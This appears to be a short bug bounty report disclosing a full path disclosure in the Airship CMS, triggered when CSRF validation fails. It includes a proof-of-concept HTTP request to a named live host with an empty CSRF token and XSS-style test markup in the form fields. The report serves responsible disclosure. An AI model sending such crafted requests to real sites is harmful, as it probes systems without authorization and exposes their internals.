Full path disclosure when CSRF validation failed

How it was found

Hi again ,

There are Full path disclosure in airship when the CSRF validation failed . It will show the full path with files this is can be useful for an attacker if he need some information about files and path ,identified the script and path .

PoC :

Host: bridge.cspr.ng User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://bridge.cspr.ng/author/edit/7 Cookie: __cfduid=any; PHPSESSID=any; cf_clearance=any-any-any Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 199 If-Modified-Since: *

_CSRF_TOKEN=&name=%3Cxss%3E&byline=&format=Rich+Text&biography=%3Ch2%3Exxxxxx%3Cbr%3E%3C%2Fh2%3E&_wysihtml5_mode=1&save_btn=sav

{F102987}

The CSRF validation error should not show other info about the files path .

Thanks